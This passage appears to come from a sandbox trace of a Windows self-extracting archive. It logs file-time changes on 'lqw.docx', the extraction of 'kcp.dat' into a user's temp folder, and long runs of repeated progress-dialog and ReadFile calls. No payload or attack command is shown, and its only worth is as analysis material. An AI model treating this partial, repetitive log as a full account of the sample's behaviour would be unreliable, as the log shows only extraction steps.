0xd286a [0068.075] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.075] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.075] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.075] CloseHandle (hObject=0x138) returned 1 [0068.076] SetFileAttributesA (lpFileName="lqw.docx", dwFileAttributes=0x20) returned 1 [0068.076] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd286a [0068.076] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.077] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.077] OemToCharA (in: pSrc="kcp.dat", pDst=0x179cc0 | out: pDst="kcp.dat") returned 1 [0068.077] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="kcp.dat", cchCount2=1) returned 1 [0068.077] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="kcp.dat", cchCount2=6) returned 1 [0068.077] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="kcp.dat", cchCount2=-1) returned 1 [0068.077] SetFilePointer (in: hFile=0x1c, lDistanceToMove=862358, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd2896 [0068.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="kcp.dat") returned 8 [0068.077] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x419ab8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.077] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting kcp.dat") returned 18 [0068.077] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting kcp.dat") returned 1 [0068.077] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.077] OemToCharBuffA (in: lpszSrc="k", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="k") returned 1 [0068.077] CharToOemBuffA (in: lpszSrc="K", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="K") returned 1 [0068.077] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="kcp.dat") returned 8 [0068.077] FindFirstFileW (in: lpFileName="kcp.dat", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.077] GetLastError () returned 0x2 [0068.077] GetFileAttributesA (lpFileName="kcp.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\kcp.dat")) returned 0xffffffff [0068.077] CreateFileA (lpFileName="kcp.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\kcp.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.078] GetFileType (hFile=0x138) returned 0x1 [0068.078] SetFilePointer (in: hFile=0x138, lDistanceToMove=547, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x223 [0068.078] SetEndOfFile (hFile=0x138) returned 1 [0068.078] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.078] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1ba, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1ba, lpOverlapped=0x0) returned 1 [0068.078] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.078] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.078] GetTickCount () returned 0x1fa36 [0068.078] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.078] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.078] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.078] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.078] GetTickCount () returned 0x1fa36 [0068.078] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.078] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.078] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.078] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.078] GetTickCount () returned 0x1fa36 [0068.078] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.078] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.078] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.078] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.078] GetTickCount () returned 0x1fa36 [0068.078] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.078] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.078] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.078] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.078] GetTickCount () returned 0x1fa36 [0068.078] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.078] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.078] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.078] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.078] GetTickCount () returned 0x1fa36 [0068.078] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.078] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.079] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.079] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.079] GetTickCount () returned 0x1fa36 [0068.079] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.079] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.079] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.079] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.079] GetTickCount () returned 0x1fa36 [0068.079] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.079] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.079] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.079] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.079] GetTickCount () returned 0x1fa36 [0068.079] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.079] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.079] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.079] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.079] GetTickCount () returned 0x1fa36 [0068.079] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.079] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.079] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.079] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.079] GetTickCount () returned 0x1fa36 [0068.079] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.079] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.079] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.079] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.079] GetTickCount () returned 0x1fa36 [0068.079] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.079] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.079] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.079] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.079] GetTickCount () returned 0x1fa36 [0068.079] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.079] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.079] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.079] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.079] GetTickCount () returned 0x1fa36 [0068.079] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.079] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.079] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.079] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.079] GetTickCount () returned 0x1fa36 [0068.079] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.079] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.079] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.079] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.079] GetTickCount () returned 0x1fa36 [0068.079] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.080] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.080] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.080] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.080] GetTickCount () returned 0x1fa36 [0068.080] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.080] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.080] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.080] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.080] GetTickCount () returned 0x1fa36 [0068.080] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.080] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.080] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.080] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.080] GetTickCount () returned 0x1fa36 [0068.080] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.080] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.080] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.080] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.080] GetTickCount () returned 0x1fa36 [0068.080] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.080] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.080] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.080] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.080] GetTickCount () returned 0x1fa36 [0068.080] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.080] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.080] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.080] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.080] GetTickCount () returned 0x1fa36 [0068.080] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.080] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.080] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.080] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.080] GetTickCount () returned 0x1fa36 [0068.080] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.080] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.080] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.080] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.080] GetTickCount () returned 0x1fa36 [0068.080] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.080] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.080] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.080] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.080] GetTickCount () returned 0x1fa36 [0068.080] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.080] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.080] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.080] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.081] GetTickCount () returned 0x1fa45 [0068.081] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.081] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.081] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.081] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.081] GetTickCount () returned 0x1fa45 [0068.081] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.081] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.081] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.081] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.081] GetTickCount () returned 0x1fa45 [0068.081] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.081] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.082] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.082] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.082] GetTickCount () returned 0x1fa45 [0068.082] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.082] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.082] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.082] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 